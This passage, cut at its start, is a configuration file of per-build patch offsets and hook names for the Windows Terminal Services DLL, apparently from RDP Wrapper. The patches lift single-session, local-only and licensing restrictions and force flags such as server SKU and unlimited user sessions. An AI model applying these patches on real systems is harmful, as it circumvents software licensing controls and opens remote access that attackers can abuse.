SingleUserCode.x86=nop
SingleUserPatch.x64=1
SingleUserOffset.x64=287B4
SingleUserCode.x64=Zero
DefPolicyPatch.x86=1
DefPolicyOffset.x86=3E0C9
DefPolicyCode.x86=CDefPolicy_Query_eax_ecx
DefPolicyPatch.x64=1
DefPolicyOffset.x64=CC15
DefPolicyCode.x64=CDefPolicy_Query_eax_rcx
SLInitHook.x86=1
SLInitOffset.x86=4650F
SLInitFunc.x86=New_CSLQuery_Initialize
SLInitHook.x64=1
SLInitOffset.x64=FB00
SLInitFunc.x64=New_CSLQuery_Initialize
[10.0.16237.1001]
LocalOnlyPatch.x86=1
LocalOnlyOffset.x86=A7F38
LocalOnlyCode.x86=jmpshort
LocalOnlyPatch.x64=1
LocalOnlyOffset.x64=8E911
LocalOnlyCode.x64=jmpshort
SingleUserPatch.x86=1
SingleUserOffset.x86=39F85
SingleUserCode.x86=nop
SingleUserPatch.x64=1
SingleUserOffset.x64=1BC84
SingleUserCode.x64=Zero
DefPolicyPatch.x86=1
DefPolicyOffset.x86=3E119
DefPolicyCode.x86=CDefPolicy_Query_eax_ecx
DefPolicyPatch.x64=1
DefPolicyOffset.x64=DA55
DefPolicyCode.x64=CDefPolicy_Query_eax_rcx
SLInitHook.x86=1
SLInitOffset.x86=4655D
SLInitFunc.x86=New_CSLQuery_Initialize
SLInitHook.x64=1
SLInitOffset.x64=2180C
SLInitFunc.x64=New_CSLQuery_Initialize
[10.0.16241.1001]
LocalOnlyPatch.x86=1
LocalOnlyOffset.x86=A7F38
LocalOnlyCode.x86=jmpshort
LocalOnlyPatch.x64=1
LocalOnlyOffset.x64=8E911
LocalOnlyCode.x64=jmpshort
SingleUserPatch.x86=1
SingleUserOffset.x86=39F85
SingleUserCode.x86=nop
SingleUserPatch.x64=1
SingleUserOffset.x64=1BC84
SingleUserCode.x64=Zero
DefPolicyPatch.x86=1
DefPolicyOffset.x86=3E119
DefPolicyCode.x86=CDefPolicy_Query_eax_ecx
DefPolicyPatch.x64=1
DefPolicyOffset.x64=DA55
DefPolicyCode.x64=CDefPolicy_Query_eax_rcx
SLInitHook.x86=1
SLInitOffset.x86=4655D
SLInitFunc.x86=New_CSLQuery_Initialize
SLInitHook.x64=1
SLInitOffset.x64=2180C
SLInitFunc.x64=New_CSLQuery_Initialize
[10.0.16251.0]
LocalOnlyPatch.x86=1
LocalOnlyOffset.x86=ABC88
LocalOnlyCode.x86=jmpshort
LocalOnlyPatch.x64=1
LocalOnlyOffset.x64=8EC21
LocalOnlyCode.x64=jmpshort
SingleUserPatch.x86=1
SingleUserOffset.x86=3A525
SingleUserCode.x86=nop
SingleUserPatch.x64=1
SingleUserOffset.x64=1BCB4
SingleUserCode.x64=Zero
DefPolicyPatch.x86=1
DefPolicyOffset.x86=31779
DefPolicyCode.x86=CDefPolicy_Query_eax_ecx
DefPolicyPatch.x64=1
DefPolicyOffset.x64=DAF5
DefPolicyCode.x64=CDefPolicy_Query_eax_rcx
SLInitHook.x86=1
SLInitOffset.x86=447FD
SLInitFunc.x86=New_CSLQuery_Initialize
SLInitHook.x64=1
SLInitOffset.x64=2183C
SLInitFunc.x64=New_CSLQuery_Initialize
[10.0.16251.1000]
LocalOnlyPatch.x86=1
LocalOnlyOffset.x86=ABC88
LocalOnlyCode.x86=jmpshort
LocalOnlyPatch.x64=1
LocalOnlyOffset.x64=8EC21
LocalOnlyCode.x64=jmpshort
SingleUserPatch.x86=1
SingleUserOffset.x86=3A525
SingleUserCode.x86=nop
SingleUserPatch.x64=1
SingleUserOffset.x64=1BCB4
SingleUserCode.x64=Zero
DefPolicyPatch.x86=1
DefPolicyOffset.x86=31779
DefPolicyCode.x86=CDefPolicy_Query_eax_ecx
DefPolicyPatch.x64=1
DefPolicyOffset.x64=DAF5
DefPolicyCode.x64=CDefPolicy_Query_eax_rcx
SLInitHook.x86=1
SLInitOffset.x86=447FD
SLInitFunc.x86=New_CSLQuery_Initialize
SLInitHook.x64=1
SLInitOffset.x64=2183C
SLInitFunc.x64=New_CSLQuery_Initialize
[10.0.16257.1]
LocalOnlyPatch.x86=1
LocalOnlyOffset.x86=AB718
LocalOnlyCode.x86=jmpshort
LocalOnlyPatch.x64=1
LocalOnlyOffset.x64=8E841
LocalOnlyCode.x64=jmpshort
SingleUserPatch.x86=1
SingleUserOffset.x86=33925
SingleUserCode.x86=nop
SingleUserPatch.x64=1
SingleUserOffset.x64=11364
SingleUserCode.x64=Zero
DefPolicyPatch.x86=1
DefPolicyOffset.x86=3C409
DefPolicyCode.x86=CDefPolicy_Query_eax_ecx
DefPolicyPatch.x64=1
DefPolicyOffset.x64=1EFD5
DefPolicyCode.x64=CDefPolicy_Query_eax_rcx
SLInitHook.x86=1
SLInitOffset.x86=4504D
SLInitFunc.x86=New_CSLQuery_Initialize
SLInitHook.x64=1
SLInitOffset.x64=2495C
SLInitFunc.x64=New_CSLQuery_Initialize
[10.0.16257.1000]
LocalOnlyPatch.x86=1
LocalOnlyOffset.x86=AB718
LocalOnlyCode.x86=jmpshort
LocalOnlyPatch.x64=1
LocalOnlyOffset.x64=8E841
LocalOnlyCode.x64=jmpshort
SingleUserPatch.x86=1
SingleUserOffset.x86=33925
SingleUserCode.x86=nop
SingleUserPatch.x64=1
SingleUserOffset.x64=11364
SingleUserCode.x64=Zero
DefPolicyPatch.x86=1
DefPolicyOffset.x86=3C409
DefPolicyCode.x86=CDefPolicy_Query_eax_ecx
DefPolicyPatch.x64=1
DefPolicyOffset.x64=1EFD5
DefPolicyCode.x64=CDefPolicy_Query_eax_rcx
SLInitHook.x86=1
SLInitOffset.x86=4504D
SLInitFunc.x86=New_CSLQuery_Initialize
SLInitHook.x64=1
SLInitOffset.x64=2495C
SLInitFunc.x64=New_CSLQuery_Initialize
[10.0.16273.1000]
LocalOnlyPatch.x86=1
LocalOnlyOffset.x86=AB798
LocalOnlyCode.x86=jmpshort
LocalOnlyPatch.x64=1
LocalOnlyOffset.x64=8E871
LocalOnlyCode.x64=jmpshort
SingleUserPatch.x86=1
SingleUserOffset.x86=33925
SingleUserCode.x86=nop
SingleUserPatch.x64=1
SingleUserOffset.x64=11364
SingleUserCode.x64=Zero
DefPolicyPatch.x86=1
DefPolicyOffset.x86=3C409
DefPolicyCode.x86=CDefPolicy_Query_eax_ecx
DefPolicyPatch.x64=1
DefPolicyOffset.x64=1EFD5
DefPolicyCode.x64=CDefPolicy_Query_eax_rcx
SLInitHook.x86=1
SLInitOffset.x86=4504D
SLInitFunc.x86=New_CSLQuery_Initialize
SLInitHook.x64=1
SLInitOffset.x64=2495C
SLInitFunc.x64=New_CSLQuery_Initialize
[10.0.16275.1000]
LocalOnlyPatch.x86=1
LocalOnlyOffset.x86=A9388
LocalOnlyCode.x86=jmpshort
LocalOnlyPatch.x64=1
LocalOnlyOffset.x64=90001
LocalOnlyCode.x64=jmpshort
SingleUserPatch.x86=1
SingleUserOffset.x86=39435
SingleUserCode.x86=nop
SingleUserPatch.x64=1
SingleUserOffset.x64=1C724
SingleUserCode.x64=Zero
DefPolicyPatch.x86=1
DefPolicyOffset.x86=3DE89
DefPolicyCode.x86=CDefPolicy_Query_eax_ecx
DefPolicyPatch.x64=1
DefPolicyOffset.x64=12D75
DefPolicyCode.x64=CDefPolicy_Query_eax_rcx
SLInitHook.x86=1
SLInitOffset.x86=463D4
SLInitFunc.x86=New_CSLQuery_Initialize
SLInitHook.x64=1
SLInitOffset.x64=22D0C
SLInitFunc.x64=New_CSLQuery_Initialize
[10.0.16278.1000]
LocalOnlyPatch.x86=1
LocalOnlyOffset.x86=A9388
LocalOnlyCode.x86=jmpshort
LocalOnlyPatch.x64=1
LocalOnlyOffset.x64=90001
LocalOnlyCode.x64=jmpshort
SingleUserPatch.x86=1
SingleUserOffset.x86=39435
SingleUserCode.x86=nop
SingleUserPatch.x64=1
SingleUserOffset.x64=1C724
SingleUserCode.x64=Zero
DefPolicyPatch.x86=1
DefPolicyOffset.x86=3DE89
DefPolicyCode.x86=CDefPolicy_Query_eax_ecx
DefPolicyPatch.x64=1
DefPolicyOffset.x64=12D75
DefPolicyCode.x64=CDefPolicy_Query_eax_rcx
SLInitHook.x86=1
SLInitOffset.x86=463D4
SLInitFunc.x86=New_CSLQuery_Initialize
SLInitHook.x64=1
SLInitOffset.x64=22D0C
SLInitFunc.x64=New_CSLQuery_Initialize
[10.0.16281.1000]
LocalOnlyPatch.x86=1
LocalOnlyOffset.x86=A8E08
LocalOnlyCode.x86=jmpshort
LocalOnlyPatch.x64=1
LocalOnlyOffset.x64=8FD01
LocalOnlyCode.x64=jmpshort
SingleUserPatch.x86=1
SingleUserOffset.x86=39215
SingleUserCode.x86=nop
SingleUserPatch.x64=1
SingleUserOffset.x64=1C774
SingleUserCode.x64=Zero
DefPolicyPatch.x86=1
DefPolicyOffset.x86=3DC89
DefPolicyCode.x86=CDefPolicy_Query_eax_ecx
DefPolicyPatch.x64=1
DefPolicyOffset.x64=12D85
DefPolicyCode.x64=CDefPolicy_Query_eax_rcx
SLInitHook.x86=1
SLInitOffset.x86=461BD
SLInitFunc.x86=New_CSLQuery_Initialize
SLInitHook.x64=1
SLInitOffset.x64=22D5C
SLInitFunc.x64=New_CSLQuery_Initialize
[10.0.16288.1]
LocalOnlyPatch.x86=1
LocalOnlyOffset.x86=A8E08
LocalOnlyCode.x86=jmpshort
LocalOnlyPatch.x64=1
LocalOnlyOffset.x64=8FD01
LocalOnlyCode.x64=jmpshort
SingleUserPatch.x86=1
SingleUserOffset.x86=39215
SingleUserCode.x86=nop
SingleUserPatch.x64=1
SingleUserOffset.x64=1C774
SingleUserCode.x64=Zero
DefPolicyPatch.x86=1
DefPolicyOffset.x86=3DC89
DefPolicyCode.x86=CDefPolicy_Query_eax_ecx
DefPolicyPatch.x64=1
DefPolicyOffset.x64=12D85
DefPolicyCode.x64=CDefPolicy_Query_eax_rcx
SLInitHook.x86=1
SLInitOffset.x86=461BD
SLInitFunc.x86=New_CSLQuery_Initialize
SLInitHook.x64=1
SLInitOffset.x64=22D5C
SLInitFunc.x64=New_CSLQuery_Initialize
[10.0.16291.0]
LocalOnlyPatch.x86=1
LocalOnlyOffset.x86=A8E08
LocalOnlyCode.x86=jmpshort
LocalOnlyPatch.x64=1
LocalOnlyOffset.x64=8FD01
LocalOnlyCode.x64=jmpshort
SingleUserPatch.x86=1
SingleUserOffset.x86=39215
SingleUserCode.x86=nop
SingleUserPatch.x64=1
SingleUserOffset.x64=1C774
SingleUserCode.x64=Zero
DefPolicyPatch.x86=1
DefPolicyOffset.x86=3DC89
DefPolicyCode.x86=CDefPolicy_Query_eax_ecx
DefPolicyPatch.x64=1
DefPolicyOffset.x64=12D85
DefPolicyCode.x64=CDefPolicy_Query_eax_rcx
SLInitHook.x86=1
SLInitOffset.x86=461BD
SLInitFunc.x86=New_CSLQuery_Initialize
SLInitHook.x64=1
SLInitOffset.x64=22D5C
SLInitFunc.x64=New_CSLQuery_Initialize
[10.0.16294.1]
LocalOnlyPatch.x86=1
LocalOnlyOffset.x86=A8E08
LocalOnlyCode.x86=jmpshort
LocalOnlyPatch.x64=1
LocalOnlyOffset.x64=8FD01
LocalOnlyCode.x64=jmpshort
SingleUserPatch.x86=1
SingleUserOffset.x86=39215
SingleUserCode.x86=nop
SingleUserPatch.x64=1
SingleUserOffset.x64=1C774
SingleUserCode.x64=Zero
DefPolicyPatch.x86=1
DefPolicyOffset.x86=3DC89
DefPolicyCode.x86=CDefPolicy_Query_eax_ecx
DefPolicyPatch.x64=1
DefPolicyOffset.x64=12D85
DefPolicyCode.x64=CDefPolicy_Query_eax_rcx
SLInitHook.x86=1
SLInitOffset.x86=461BD
SLInitFunc.x86=New_CSLQuery_Initialize
SLInitHook.x64=1
SLInitOffset.x64=22D5C
SLInitFunc.x64=New_CSLQuery_Initialize
[10.0.16296.0]
LocalOnlyPatch.x86=1
LocalOnlyOffset.x86=A8E08
LocalOnlyCode.x86=jmpshort
LocalOnlyPatch.x64=1
LocalOnlyOffset.x64=8FD01
LocalOnlyCode.x64=jmpshort
SingleUserPatch.x86=1
SingleUserOffset.x86=39215
SingleUserCode.x86=nop
SingleUserPatch.x64=1
SingleUserOffset.x64=1C774
SingleUserCode.x64=Zero
DefPolicyPatch.x86=1
DefPolicyOffset.x86=3DC89
DefPolicyCode.x86=CDefPolicy_Query_eax_ecx
DefPolicyPatch.x64=1
DefPolicyOffset.x64=12D85
DefPolicyCode.x64=CDefPolicy_Query_eax_rcx
SLInitHook.x86=1
SLInitOffset.x86=461BD
SLInitFunc.x86=New_CSLQuery_Initialize
SLInitHook.x64=1
SLInitOffset.x64=22D5C
SLInitFunc.x64=New_CSLQuery_Initialize
[10.0.16299.0]
LocalOnlyPatch.x86=1
LocalOnlyOffset.x86=A8E08
LocalOnlyCode.x86=jmpshort
LocalOnlyPatch.x64=1
LocalOnlyOffset.x64=8FD01
LocalOnlyCode.x64=jmpshort
SingleUserPatch.x86=1
SingleUserOffset.x86=39215
SingleUserCode.x86=nop
SingleUserPatch.x64=1
SingleUserOffset.x64=1C774
SingleUserCode.x64=Zero
DefPolicyPatch.x86=1
DefPolicyOffset.x86=3DC89
DefPolicyCode.x86=CDefPolicy_Query_eax_ecx
DefPolicyPatch.x64=1
DefPolicyOffset.x64=12D85
DefPolicyCode.x64=CDefPolicy_Query_eax_rcx
SLInitHook.x86=1
SLInitOffset.x86=461BD
SLInitFunc.x86=New_CSLQuery_Initialize
SLInitHook.x64=1
SLInitOffset.x64=22D5C
SLInitFunc.x64=New_CSLQuery_Initialize
[10.0.16299.15]
LocalOnlyPatch.x86=1
LocalOnlyOffset.x86=A8E08
LocalOnlyCode.x86=jmpshort
LocalOnlyPatch.x64=1
LocalOnlyOffset.x64=8FD01
LocalOnlyCode.x64=jmpshort
SingleUserPatch.x86=1
SingleUserOffset.x86=39215
SingleUserCode.x86=nop
SingleUserPatch.x64=1
SingleUserOffset.x64=1C774
SingleUserCode.x64=Zero
DefPolicyPatch.x86=1
DefPolicyOffset.x86=3DC89
DefPolicyCode.x86=CDefPolicy_Query_eax_ecx
DefPolicyPatch.x64=1
DefPolicyOffset.x64=12D85
DefPolicyCode.x64=CDefPolicy_Query_eax_rcx
SLInitHook.x86=1
SLInitOffset.x86=461BD
SLInitFunc.x86=New_CSLQuery_Initialize
SLInitHook.x64=1
SLInitOffset.x64=22D5C
SLInitFunc.x64=New_CSLQuery_Initialize
[10.0.16353.1000]
LocalOnlyPatch.x86=1
LocalOnlyOffset.x86=A9388
LocalOnlyCode.x86=jmpshort
LocalOnlyPatch.x64=1
LocalOnlyOffset.x64=90001
LocalOnlyCode.x64=jmpshort
SingleUserPatch.x86=1
SingleUserOffset.x86=39435
SingleUserCode.x86=nop
SingleUserPatch.x64=1
SingleUserOffset.x64=1C724
SingleUserCode.x64=Zero
DefPolicyPatch.x86=1
DefPolicyOffset.x86=3DE89
DefPolicyCode.x86=CDefPolicy_Query_eax_ecx
DefPolicyPatch.x64=1
DefPolicyOffset.x64=12D75
DefPolicyCode.x64=CDefPolicy_Query_eax_rcx
SLInitHook.x86=1
SLInitOffset.x86=463D4
SLInitFunc.x86=New_CSLQuery_Initialize
SLInitHook.x64=1
SLInitOffset.x64=22D0C
SLInitFunc.x64=New_CSLQuery_Initialize
[10.0.16362.1000]
LocalOnlyPatch.x86=1
LocalOnlyOffset.x86=A8E38
LocalOnlyCode.x86=jmpshort
LocalOnlyPatch.x64=1
LocalOnlyOffset.x64=8FBA1
LocalOnlyCode.x64=jmpshort
SingleUserPatch.x86=1
SingleUserOffset.x86=2F61C
SingleUserCode.x86=nop
SingleUserPatch.x64=1
SingleUserOffset.x64=19D1C
SingleUserCode.x64=Zero
DefPolicyPatch.x86=1
DefPolicyOffset.x86=3DE99
DefPolicyCode.x86=CDefPolicy_Query_eax_ecx
DefPolicyPatch.x64=1
DefPolicyOffset.x64=12D85
DefPolicyCode.x64=CDefPolicy_Query_eax_rcx
SLInitHook.x86=1
SLInitOffset.x86=463D4
SLInitFunc.x86=New_CSLQuery_Initialize
SLInitHook.x64=1
SLInitOffset.x64=22D9C
SLInitFunc.x64=New_CSLQuery_Initialize
[10.0.17004.1000]
LocalOnlyPatch.x86=1
LocalOnlyOffset.x86=A8EB8
LocalOnlyCode.x86=jmpshort
LocalOnlyPatch.x64=1
LocalOnlyOffset.x64=8FB41
LocalOnlyCode.x64=jmpshort
SingleUserPatch.x86=1
SingleUserOffset.x86=2F65C
SingleUserCode.x86=nop
SingleUserPatch.x64=1
SingleUserOffset.x64=19D1C
SingleUserCode.x64=Zero
DefPolicyPatch.x86=1
DefPolicyOffset.x86=3DF09
DefPolicyCode.x86=CDefPolicy_Query_eax_ecx
DefPolicyPatch.x64=1
DefPolicyOffset.x64=12D85
DefPolicyCode.x64=CDefPolicy_Query_eax_rcx
SLInitHook.x86=1
SLInitOffset.x86=4643F
SLInitFunc.x86=New_CSLQuery_Initialize
SLInitHook.x64=1
SLInitOffset.x64=22D9C
SLInitFunc.x64=New_CSLQuery_Initialize
[10.0.17017.1000]
LocalOnlyPatch.x86=1
LocalOnlyOffset.x86=AB388
LocalOnlyCode.x86=jmpshort
LocalOnlyPatch.x64=1
LocalOnlyOffset.x64=8F291
LocalOnlyCode.x64=jmpshort
SingleUserPatch.x86=1
SingleUserOffset.x86=3477C
SingleUserCode.x86=nop
SingleUserPatch.x64=1
SingleUserOffset.x64=1977C
SingleUserCode.x64=Zero
DefPolicyPatch.x86=1
DefPolicyOffset.x86=31049
DefPolicyCode.x86=CDefPolicy_Query_eax_ecx
DefPolicyPatch.x64=1
DefPolicyOffset.x64=125A5
DefPolicyCode.x64=CDefPolicy_Query_eax_rcx
SLInitHook.x86=1
SLInitOffset.x86=45CDD
SLInitFunc.x86=New_CSLQuery_Initialize
SLInitHook.x64=1
SLInitOffset.x64=227DC
SLInitFunc.x64=New_CSLQuery_Initialize
[10.0.17025.1000]
LocalOnlyPatch.x86=1
LocalOnlyOffset.x86=AB498
LocalOnlyCode.x86=jmpshort
LocalOnlyPatch.x64=1
LocalOnlyOffset.x64=8F291
LocalOnlyCode.x64=jmpshort
SingleUserPatch.x86=1
SingleUserOffset.x86=3477C
SingleUserCode.x86=nop
SingleUserPatch.x64=1
SingleUserOffset.x64=1977C
SingleUserCode.x64=Zero
DefPolicyPatch.x86=1
DefPolicyOffset.x86=31049
DefPolicyCode.x86=CDefPolicy_Query_eax_ecx
DefPolicyPatch.x64=1
DefPolicyOffset.x64=125A5
DefPolicyCode.x64=CDefPolicy_Query_eax_rcx
SLInitHook.x86=1
SLInitOffset.x86=45CDD
SLInitFunc.x86=New_CSLQuery_Initialize
SLInitHook.x64=1
SLInitOffset.x64=227DC
SLInitFunc.x64=New_CSLQuery_Initialize
[10.0.17035.1000]
LocalOnlyPatch.x86=1
LocalOnlyOffset.x86=AB3F8
LocalOnlyCode.x86=jmpshort
LocalOnlyPatch.x64=1
LocalOnlyOffset.x64=8F271
LocalOnlyCode.x64=jmpshort
SingleUserPatch.x86=1
SingleUserOffset.x86=354AC
SingleUserCode.x86=nop
SingleUserPatch.x64=1
SingleUserOffset.x64=14E7C
SingleUserCode.x64=Zero
DefPolicyPatch.x86=1
DefPolicyOffset.x86=31F19
DefPolicyCode.x86=CDefPolicy_Query_eax_ecx
DefPolicyPatch.x64=1
DefPolicyOffset.x64=10CB5
DefPolicyCode.x64=CDefPolicy_Query_eax_rcx
SLInitHook.x86=1
SLInitOffset.x86=45C4D
SLInitFunc.x86=New_CSLQuery_Initialize
SLInitHook.x64=1
SLInitOffset.x64=22AEC
SLInitFunc.x64=New_CSLQuery_Initialize
[10.0.17046.1000]
LocalOnlyPatch.x86=1
LocalOnlyOffset.x86=AB3F8
LocalOnlyCode.x86=jmpshort
LocalOnlyPatch.x64=1
LocalOnlyOffset.x64=8F281
LocalOnlyCode.x64=jmpshort
SingleUserPatch.x86=1
SingleUserOffset.x86=354AC
SingleUserCode.x86=nop
SingleUserPatch.x64=1
SingleUserOffset.x64=14E8C
SingleUserCode.x64=Zero
DefPolicyPatch.x86=1
DefPolicyOffset.x86=31F19
DefPolicyCode.x86=CDefPolicy_Query_eax_ecx
DefPolicyPatch.x64=1
DefPolicyOffset.x64=10CC5
DefPolicyCode.x64=CDefPolicy_Query_eax_rcx
SLInitHook.x86=1
SLInitOffset.x86=45C4D
SLInitFunc.x86=New_CSLQuery_Initialize
SLInitHook.x64=1
SLInitOffset.x64=22AFC
SLInitFunc.x64=New_CSLQuery_Initialize
[10.0.17063.1000]
LocalOnlyPatch.x86=1
LocalOnlyOffset.x86=AD7F8
LocalOnlyCode.x86=jmpshort
LocalOnlyPatch.x64=1
LocalOnlyOffset.x64=92671
LocalOnlyCode.x64=jmpshort
SingleUserPatch.x86=1
SingleUserOffset.x86=36B0C
SingleUserCode.x86=nop
SingleUserPatch.x64=1
SingleUserOffset.x64=153CC
SingleUserCode.x64=Zero
DefPolicyPatch.x86=1
DefPolicyOffset.x86=33569
DefPolicyCode.x86=CDefPolicy_Query_eax_ecx
DefPolicyPatch.x64=1
DefPolicyOffset.x64=111CE
DefPolicyCode.x64=CDefPolicy_Query_eax_rcx
SLInitHook.x86=1
SLInitOffset.x86=474AD
SLInitFunc.x86=New_CSLQuery_Initialize
SLInitHook.x64=1
SLInitOffset.x64=2318C
SLInitFunc.x64=New_CSLQuery_Initialize
[SLInit]
bServerSku=1
bRemoteConnAllowed=1
bFUSEnabled=1
bAppServerAllowed=1
bMultimonAllowed=1
lMaxUserSessions=0
ulMaxDebugSessions=0
bInitialized=1
[6.3.9431.0-SLInit]
bFUSEnabled.x86       =A22A8
lMaxUserSessions.x86  =A22AC
bAppServerAllowed.x86 =A22B0
bInitialized.x86      =A22B4
bMultimonAllowed.x86  =A22B8
bServerSku.x86        =A22BC
ulMaxDebugSessions.x86=A22C0
bRemoteConnAllowed.x86=A22C4
bFUSEnabled.x64       =C4490
lMaxUserSessions.x64  =C4494
bAppServerAllowed.x64 =C4498
bInitialized.x64      =C449C
bMultimonAllowed.x64  =C44A0
bServerSku.x64        =C44A4
ulMaxDebugSessions.x64=C44A8
bRemoteConnAllowed.x64=C44AC
[6.3.9600.16384-SLInit]
bFUSEnabled.x86       =C02A8
lMaxUserSessions.x86  =C02AC
bAppServerAllowed.x86 =C02B0
bInitialized.x86      =C02B4
bMultimonAllowed.x86  =C02B8
bServerSku.x86        =C02BC
ulMaxDebugSessions.x86=C02C0
bRemoteConnAllowed.x86=C02C4
bServerSku.x64        =E6494
ulMaxDebugSessions.x64=E6498
bRemoteConnAllowed.x64=E649C
bFUSEnabled.x64       =E64A0
lMaxUserSessions.x64  =E64A4
bAppServerAllowed.x64 =E64A8
bInitialized.x64      =E64AC
bMultimonAllowed.x64  =E64B0
[6.3.9600.17095-SLInit]
bFUSEnabled.x86       =C12A8
lMaxUserSessions.x86  =C12AC
bAppServerAllowed.x86 =C12B0
bInitialized.x86      =C12B4
bMultimonAllowed.x86  =C12B8
bServerSku.x86        =C12BC
ulMaxDebugSessions.x86=C12C0
bRemoteConnAllowed.x86=C12C4
bServerSku.x64        =E4494
ulMaxDebugSessions.x64=E4498
bRemoteConnAllowed.x64=E449C
bFUSEnabled.x64       =E44A0
lMaxUserSessions.x64  =E44A4
bAppServerAllowed.x64 =E44A8
bInitialized.x64      =E44AC
bMultimonAllowed.x64  =E44B0
[6.3.9600.17415-SLInit]
bFUSEnabled.x86       =D3068
lMaxUserSessions.x86  =D306C
bAppServerAllowed.x86 =D3070
bInitialized.x86      =D3074
bMultimonAllowed.x86  =D3078
bServerSku.x86        =D307C
ulMaxDebugSessions.x86=D3080
bRemoteConnAllowed.x86=D3084
bFUSEnabled.x64       =F9054
lMaxUserSessions.x64  =F9058
bAppServerAllowed.x64 =F905C
bInitialized.x64      =F9060
bMultimonAllowed.x64  =F9064
bServerSku.x64        =F9068
ulMaxDebugSessions.x64=F906C
bRemoteConnAllowed.x64=F9070
[6.3.9600.18692-SLInit]
bFUSEnabled.x86       =D3068
lMaxUserSessions.x86  =D306C
bAppServerAllowed.x86 =D3070
bInitialized.x86      =D3074
bMultimonAllowed.x86  =D3078
bServerSku.x86        =D307C
ulMaxDebugSessions.x86=D3080
bRemoteConnAllowed.x86=D3084
bFUSEnabled.x64       =F9054
lMaxUserSessions.x64  =F9058
bAppServerAllowed.x64 =F905C
bInitialized.x64      =F9060
bMultimonAllowed.x64  =F9064
bServerSku.x64        =F9068
ulMaxDebugSessions.x64=F906C
bRemoteConnAllowed.x64=F9070
[6.3.9600.18708-SLInit]
bFUSEnabled.x86       =D3068
lMaxUserSessions.x86  =D306C
bAppServerAllowed.x86 =D3070
bInitialized.x86      =D3074
bMultimonAllowed.x86  =D3078
bServerSku.x86        =D307C
ulMaxDebugSessions.x86=D3080
bRemoteConnAllowed.x86=D3084
bFUSEnabled.x64       =FA054
lMaxUserSessions.x64  =FA058
bAppServerAllowed.x64 =FA05C
bInitialized.x64      =FA060
bMultimonAllowed.x64  =FA064
bServerSku.x64        =FA068
ulMaxDebugSessions.x64=FA06C
bRemoteConnAllowed.x64=FA070
[6.4.9841.0-SLInit]
bFUSEnabled.x86       =BF9F0
lMaxUserSessions.x86  =BF9F4
bAppServerAllowed.x86 =BF9F8
bInitialized.x86      =BF9FC
bMultimonAllowed.x86  =BFA00
bServerSku.x86        =BFA04
ulMaxDebugSessions.x86=BFA08
bRemoteConnAllowed.x86=BFA0C
bFUSEnabled.x64       =ECFF8
lMaxUserSessions.x64  =ECFFC
bAppServerAllowed.x64 =ED000
bInitialized.x64      =ED004
bMultimonAllowed.x64  =ED008
bServerSku.x64        =ED00C
ulMaxDebugSessions.x64=ED010
bRemoteConnAllowed.x64=ED014
[6.4.9860.0-SLInit]
bFUSEnabled.x86       =BF7E0
lMaxUserSessions.x86  =BF7E4
bAppServerAllowed.x86 =BF7E8
bInitialized.x86      =BF7EC
bMultimonAllowed.x86  =BF7F0
bServerSku.x86        =BF7F4
ulMaxDebugSessions.x86=BF7F8
bRemoteConnAllowed.x86=BF7FC
bFUSEnabled.x64       =ECBD8
lMaxUserSessions.x64  =ECBDC
bAppServerAllowed.x64 =ECBE0
bInitialized.x64      =ECBE4
bMultimonAllowed.x64  =ECBE8
bServerSku.x64        =ECBEC
ulMaxDebugSessions.x64=ECBF0
bRemoteConnAllowed.x64=ECBF4
[6.4.9879.0-SLInit]
bFUSEnabled.x86       =C27D8
lMaxUserSessions.x86  =C27DC
bAppServerAllowed.x86 =C27E0
bInitialized.x86      =C27E4
bMultimonAllowed.x86  =C27E8
bServerSku.x86        =C27EC
ulMaxDebugSessions.x86=C27F0
bRemoteConnAllowed.x86=C27F4
bFUSEnabled.x64       =EDBF0
lMaxUserSessions.x64  =EDBF4
bAppServerAllowed.x64 =EDBF8
bInitialized.x64      =EDBFC
bMultimonAllowed.x64  =EDC00
bServerSku.x64        =EDC04
ulMaxDebugSessions.x64=EDC08
bRemoteConnAllowed.x64=EDC0C
[10.0.9926.0-SLInit]
bFUSEnabled.x86       =C17D8
lMaxUserSessions.x86  =C17DC
bAppServerAllowed.x86 =C17E0
bInitialized.x86      =C17E4
bMultimonAllowed.x86  =C17E8
bServerSku.x86        =C17EC
ulMaxDebugSessions.x86=C17F0
bRemoteConnAllowed.x86=C17F4
bFUSEnabled.x64       =EEBF0
lMaxUserSessions.x64  =EEBF4
bAppServerAllowed.x64 =EEBF8
bInitialized.x64      =EEBFC
bMultimonAllowed.x64  =EEC00
bServerSku.x64        =EEC04
ulMaxDebugSessions.x64=EEC08
bRemoteConnAllowed.x64=EEC0C
[10.0.10041.0-SLInit]
bFUSEnabled.x86       =C5F60
lMaxUserSessions.x86  =C5F64
bAppServerAllowed.x86 =C5F68
bInitialized.x86      =C5F6C
bMultimonAllowed.x86  =C5F70
bServerSku.x86        =C5F74
ulMaxDebugSessions.x86=C5F78
bRemoteConnAllowed.x86=C5F7C
bFUSEnabled.x64       =F3448
lMaxUserSessions.x64  =F344C
bAppServerAllowed.x64 =F3450
bInitialized.x64      =F3454
bMultimonAllowed.x64  =F3458
bServerSku.x64        =F345C
ulMaxDebugSessions.x64=F3460
bRemoteConnAllowed.x64=F3464
[10.0.10240.16384-SLInit]
bFUSEnabled.x86       =C3F60
lMaxUserSessions.x86  =C3F64
bAppServerAllowed.x86 =C3F68
bInitialized.x86      =C3F6C
bMultimonAllowed.x86  =C3F70
bServerSku.x86        =C3F74
ulMaxDebugSessions.x86=C3F78
bRemoteConnAllowed.x86=C3F7C
lMaxUserSessions.x64  =F23B0
bAppServerAllowed.x64 =F23B4
bServerSku.x64        =F23B8
bFUSEnabled.x64       =F3460
bInitialized.x64      =F3464
bMultimonAllowed.x64  =F3468
ulMaxDebugSessions.x64=F346C
bRemoteConnAllowed.x64=F3470
[10.0.10586.0-SLInit]
bFUSEnabled.x86       =C3F60
lMaxUserSessions.x86  =C3F64
bAppServerAllowed.x86 =C3F68
bInitialized.x86      =C3F6C
bMultimonAllowed.x86  =C3F70
bServerSku.x86        =C3F74
ulMaxDebugSessions.x86=C3F78
bRemoteConnAllowed.x86=C3F7C
lMaxUserSessions.x64  =F23B0
bAppServerAllowed.x64 =F23B4
bServerSku.x64        =F23B8
bFUSEnabled.x64       =F3460
bInitialized.x64      =F3464
bMultimonAllowed.x64  =F3468
ulMaxDebugSessions.x64=F346C
bRemoteConnAllowed.x64=F3470
[10.0.10586.589-SLInit]
bFUSEnabled.x86       =C3F60
lMaxUserSessions.x86  =C3F64
bAppServerAllowed.x86 =C3F68
bInitialized.x86      =C3F6C
bMultimonAllowed.x86  =C3F70
bServerSku.x86        =C3F74
ulMaxDebugSessions.x86=C3F78
bRemoteConnAllowed.x86=C3F7C
